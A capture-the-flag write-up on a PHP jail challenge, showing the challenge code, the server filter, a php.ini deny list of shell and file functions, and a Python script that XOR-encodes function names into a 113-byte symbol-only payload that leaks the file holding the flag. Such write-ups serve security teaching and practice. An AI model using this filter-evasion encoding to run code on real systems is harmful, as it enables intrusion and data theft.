PHP101 🔒
A PHP Jail challenge. No alphanumeric characters, only 125 bytes.
🗒️ Challenge description
Velkommen til undervisning i php101! Da php er det ultimativt mest brugte* sprog er det vigtigt at have en god forståelse for hvordan man skriver pæn kode der er nem at vedligeholde. Til dette formål er her en lille intro opgave til at fange forståelsen for hvor simpel og effektiv php kan være.
kilde: fri fantasien
🌐 The website
When visiting the challenge page, we are presented with a PHP script that contains a Flag
class with a private flag property. The flag is set to a different value in the constructor. The challenge is to print the flag from the Flag
class without using any alphanumeric characters, spaces, or special characters. And only using a maximum of 125 bytes. 🤯
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
<?php
class Flag {
private string $flag = "/* flag indsættes her */";
public function __construct() {
$this->flag = "Prøv igen";
}
}
/**
Opgaven:
Print flaget fra `Flag` klassen ovenover.
OBS:
1) Dit script må ikke indeholde [A-Za-z0-9_\s$]
2) Dit script må ikke være længere end 125 bytes
3) Din kode må ikke køre mere end ét sekund
*/
/* Din kode bliver indsat her */
So the restrictions are:
- No alphanumeric characters
- No spaces
- No
$
or_
- Maximum 125 bytes
- No more than one second of execution time
At first glance, this seems impossible. Considering that the challenge is in the “Web Exploitation” category, we may think the real challenge is to circumvent the restrictions, instead of solving the PHP challenge. This is our server logic.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
@app.route('/run-it', methods=['POST'])
def run_it():
data = request.get_json()
code = data['code']
if len(code) > 125:
return jsonify({'message': 'Din kode er for lang.'})
if re.search(r'[A-Za-z0-9_\s$]', code, flags=re.MULTILINE):
return jsonify({'message': 'Din kode indeholder ugyldige tegn..'})
flag = open('flag.txt', 'r').read()
runnable = open('./php/Flag.php', 'r').read()
runnable = runnable.replace('/* flag indsættes her */', flag)
runnable = runnable.replace('/* Din kode bliver indsat her */', code)
tmp_file = tempfile.NamedTemporaryFile(suffix='.php', mode='w', delete=False)
tmp_file.write(runnable)
tmp_file.close()
try:
result = subprocess.run(['php', '-c', './php/php.ini', '-f', tmp_file.name],
capture_output=True, text=True, check=True, timeout=1)
return jsonify({'message': result.stdout})
except subprocess.TimeoutExpired:
return jsonify({'message': 'Runtime Error: Dit script kørte i mere end ét sekund'})
except subprocess.CalledProcessError as e:
return jsonify({'message': e.stderr})
finally:
if os.path.exists(tmp_file.name):
os.remove(tmp_file.name)
After initial analysis, we can see that the server logic is quite simple. And it does not seem to have vulnerabilities that we can exploit. So we have to solve the PHP challenge…
Also, the php.ini
file is configured to disable a ton of useful functions for us. Uncool 😞
1
disable_functions = _getppid,apache_note,apache_setenv,base64_decode,basename,chdir,chgrp,chmod,chown,chroot,clearstatcache,closedir,copy,curl_exec,curl_multi_exec,debugger_off,debugger_on,define_sys,define_syslog_variables,delete,dio_close,dio_fcntl,dio_open,dio_read,dio_seek,dio_stat,dio_tcsetattr,dio_truncate,dio_write,dir,dirname,disk_free_space,disk_total_space,diskfreespace,escapeshellarg,escapeshellcmd,exec,fclose,fdatasync,feof,fflush,fgetc,fgetcsv,fgets,fgetss,file,file_exists,file_put_contents,fileatime,filectime,filegroup,fileinode,filemtime,fileowner,fileperms,filesize,filetype,finfo_buffer,finfo_close,finfo_file,finfo_open,finfo_set_flags,flock,fnmatch,fopen,fpassthru,fputcsv,fputs,fread,fscanf,fseek,fstat,fsync,ftell,ftruncate,fwrite,get_defined_vars,getcwd,getmyuid,glob,highlight_file,ini_restore,inotify_add_watch,inotify_init,inotify_queue_len,inotify_read,inotify_rm_watch,is_dir,is_executable,is_file,is_link,is_readable,is_uploaded_file,is_writable,is_writeable,lchgrp,lchown,leak,link,linkinfo,listen,lstat,mime_content_type,mkdir,move_uploaded_file,opendir,parse_ini_file,parse_ini_string,passthru,pathinfo,pclose,pcntl_alarm,pcntl_async_signals,pcntl_exec,pcntl_fork,pcntl_get_last_error,pcntl_getpriority,pcntl_setpriority,pcntl_signal,pcntl_signal_dispatch,pcntl_signal_get_handler,pcntl_sigprocmask,pcntl_sigtimedwait,pcntl_sigwaitinfo,pcntl_strerror,pcntl_unshare,pcntl_wait,pcntl_waitpid,pcntl_wexitstatus,pcntl_wifcontinued,pcntl_wifexited,pcntl_wifsignaled,pcntl_wifstopped,pcntl_wstopsig,pcntl_wtermsig,phpinfo,php_strip_whitespace,popen,posix,posix_ctermid,posix_getcwd,posix_getegid,posix_geteuid,posix_getgid,posix_getgrgid,posix_getgrnam,posix_getgroups,posix_getlogin,posix_getpgid,posix_getpgrp,posix_getpid,posix_getpwnam,posix_getpwuid,posix_getrlimit,posix_getsid,posix_isatty,posix_kill,posix_mkfifo,posix_setegid,posix_seteuid,posix_setgid,posix_setpgid,posix_setsid,posix_setuid,posix_times,posix_ttyname,posix_uname,proc_close,proc_get_status,proc_nice,proc_open,proc_terminate,readdir,readfile,readlink,realpath,realpath_cache_get,realpath_cache_size,rename,rewind,rewinddir,rmdir,scandir,set_file_buffer,shell_exec,show_source,stat,symlink,system,tempnam,tmpfile,touch,umask,unlink,var_dump,xattr_get,xattr_list,xattr_remove,xattr_set,xattr_supported,xdiff_file_bdiff,xdiff_file_bdiff_size,xdiff_file_bpatch,xdiff_file_diff,xdiff_file_diff_binary,xdiff_file_merge3,xdiff_file_patch,xdiff_file_patch_binary,xdiff_file_rabdiff,xdiff_string_bdiff,xdiff_string_bdiff_size,xdiff_string_bpatch,xdiff_string_diff,xdiff_string_diff_binary,xdiff_string_merge3,xdiff_string_patch,xdiff_string_patch_binary,xdiff_string_rabdiff
🔓 Ignoring the restrictions
First let’s try solving the challenge locally without any restrictions, other than the disabled PHP functions. In PHP we can use a ReflectionClass
to access private properties, without constructing the class.
1
echo(new ReflectionClass('Flag'))->getDefaultProperties()['flag'];
This does work, it prints our local flag! But, echo
is actually a disabled function, so we have to find another way to display the flag. Since our code is just dropped into the file, we can close the current PHP tag. This will allow us to use a shorthand for echo, <?=
.
1
?><?=new ReflectionClass('Flag')->getDefaultProperties()['flag'];
But there is an even simpler way. What if we could just output the current file? It would contain all the source code including the flag. We can use the __FILE__
magic constant to get the current file path, and file_get_contents()
which is somehow not on the disabled functions list.
1
?><?=file_get_contents(__FILE__);
This will print the entire source code of the PHP script, including the flag. And it is very concise, way below our 125 byte limit, which can help us, as it gives us more room for potential encoding.
🍝 Non-alphanumeric PHP
Now for the hardest part, we basically can’t use anything! No letters, numbers, spaces, dollar-signs or underscores either. How is this even possible?
I stumbled upon the xor
operator in PHP, which uses the ^
character. We can use this to xor two strings together, which may result in a string with a letter. After some trial and error I got a result.
1
echo(('@' ^ '!')) // Output: a
We have successfully created a banned character with just symbols. Now we can use this to create a string with all the letters of the alphabet. This would be tiresome to do manually, so I wrote a small script to generate the combinations for me.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
<?php
$validChars = ['@', '#', '!', '%', '^', '&', '*', '(', ')', '-', '+', '=', '{', '}', '[', ']', '|', ':', ';', "'", '"', '<', '>', ',', '.', '/', '?', '`', ' ', '_'];
$results = [];
// Pre-calculate all possible XOR combinations
$xorCombinations = [];
foreach ($validChars as $char1) {
foreach ($validChars as $char2) {
$xorCombinations[ord($char1) ^ ord($char2)] = [$char1, $char2];
}
}
// Check each ASCII value from 20 to 120
for ($ascii = 20; $ascii <= 120; $ascii++) {
$char = chr($ascii);
$results[$char] = $xorCombinations[$ascii] ?? null;
echo isset($xorCombinations[$ascii])
? "Character '$char' can be generated by '{$results[$char][0]}' ^ '{$results[$char][1]}'\n"
: "Character '$char' could not be generated.\n";
}
?>
Running this we get a big list of valid character combinations that we can use to construct illegal strings!
We can concatenate two strings together using the .
operator. We can use this to create a string with all the letters of the alphabet. However, we quickly find out that this is eating up our byte limit very fast. This is just trying to write echo
1
('@'^'%').('@'^'#').('@'^'(').('@'^'/') // Output: echo
This is almost 10 times longer than just writing the original echo
text. We need to find a way to compress this. Luckily it’s not super hard to optimize it. We can use the xor operator on strings longer than one character. So we can actually combine the xor operations into one.
1
('@@@@'^%#(/') // Output: echo
Now it’s just slightly above double the size of our original text. And luckily PHP allows us to call functions using this method, so we should be able to call our file_get_contents()
function like this.
But doing this by hand is tiresome, so we can write a short python script to generate the xor payload for us.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
def encode_string(input_str):
char_mapping = {
'a': ('@', '!'), 'b': ('@', '"'), 'c': ('@', '#'), 'd': ('^', ':'),
'e': ('@', '%'), 'f': ('@', '&'), 'g': ('@', '\''), 'h': ('@', '('),
'i': ('@', ')'), 'j': ('@', '*'), 'k': ('@', '+'), 'l': ('@', ','),
'm': ('@', '-'), 'n': ('@', '.'), 'o': ('@', '/'), 'p': ('^', '.'),
'q': ('^', '/'), 'r': ('^', ','), 's': ('^', '-'), 't': ('^', '*'),
'u': ('^', '+'), 'v': ('^', '('), 'w': ('^', ')'), 'x': ('#', '['),
'y': ('^', '\''), 'z': ('@', ':'), '_': ('#', '|'), 'A': ('!', '`'),
'B': ('}', '?'), 'C': ('#', '`'), 'D': ('{', '?'), 'E': ('%', '`'),
'F': ('&', '`'), 'G': ('{', '<'), 'H': ('(', '`'), 'I': (')', '`'),
'J': ('*', '`'), 'K': ('+', '`'), 'L': (',', '`'), 'M': ('-', '`'),
'N': ('.', '`'), 'O': ('/', '`'), 'P': ('-', '}'), 'Q': ('*', '{'),
'R': (')', '{'), 'S': ('(', '{'), 'T': ('(', '|'), 'U': ('(', '}'),
'V': ('*', '|'), 'W': ('*', '}'), 'X': ('#', '{'), 'Y': ('%', '|'),
'Z': ('!', '{'), ' ': ('@', '`'), '0': ('@', '}'),
}
# Check if all characters can be encoded
if all(c in char_mapping for c in input_str):
# Encode the entire string at once
first_chars = ''.join(char_mapping[c][0] for c in input_str)
second_chars = ''.join(char_mapping[c][1] for c in input_str)
return f"('{first_chars}'^'{second_chars}')"
# Fall back to character-by-character encoding
encoded_parts = []
for c in input_str:
if c in char_mapping:
char1, char2 = char_mapping[c]
encoded_parts.append(f"('{char1}'^'{char2}')")
else:
encoded_parts.append(f"'{c}'")
return ".".join(encoded_parts)
Now putting file_get_contents
into this function, we get our symbol payload ('@@@@#@@^#@@@^@@^^'^'&),%|\'%*|#/.*%.*-')
.
Replacing this with the original file_get_contents
string in our payload yields the same results, success! Now we just need to convert the other parts of the payload. Remember to escape the '
character in the string, or we will get syntax errors.
1
?><?=('@@@@#@@^#@@@^@@^^'^'&),%|\'%*|#/.*%.*-')(__FILE__); // Outputs the current file content
However, we run into an issue. Converting __FILE__
into our symbol payload, we see that PHP no longer recognizes it as a magic constant. Only functions seem to be recognized this way. We need to find an alternative to __FILE__
. Looking at the PHP documentation, the function get_included_files()
seems promising. This function returns an array of all included files. The first element being our current file.
1
?><?=file_get_contents(get_included_files()[0]);
This also works, and it’s not much longer. Lets encode this into our symbol payload.
1
?><?=('@@@@#@@^#@@@^@@^^'^'&),%|\'%*|#/.*%.*-')(('@@^#@@@@^^@^#@@@@^'^'\'%*|).#,+:%:|&),%-')()[0]);
This still works, and looks… insane 😵💫
But now we have a problem. We have no combination representing the 0
, at least not with our current allowed character set. However, we aren’t as limited any more. We still have a bunch of combinations that we can reuse in more combinations! With some trial and error, I found out we can represent the character 0
with this nested xor operation.
1
('%'^('*'^'?')) // Output: 0
Lets now replace the 0
in our payload, and then it should be done!
1
?><?=('@@@@#@@^#@@@^@@^^'^'&),%|\'%*|#/.*%.*-')(('@@^#@@@@^^@^#@@@@^'^'\'%*|).#,+:%:|&),%-')()[('%'^('*'^'?'))]);
This payload is 113 bytes long, which is within our limit. Now we can submit this to the server and read the output.
1
2
3
4
5
6
7
8
<?php
class Flag {
private string $flag = "DDC{PHP_f0r_Dumm13s}";
public function __construct() {
$this->flag = "Prøv igen";
}
}
And there we have it! The flag is 🚩 DDC{PHP_f0r_Dumm13s}
🚩
🤓 TL;DR
- Use
file_get_contents()
to read the current file source (Which is not disabled) - Create XOR combinations of symbols (
^
) to represent alphanumeric characters - Use
get_included_files()[0]
instead of__FILE__
to reference the current file - Build nested XOR operations for complex characters (0)
- Create a 113-byte payload that satisfied all restrictions
Final payload:
1
?><?=('@@@@#@@^#@@@^@@^^'^'&),%|\'%*|#/.*%.*-')(('@@^#@@@@^^@^#@@@@^'^'\'%*|).#,+:%:|&),%-')()[('%'^('*'^'?'))]);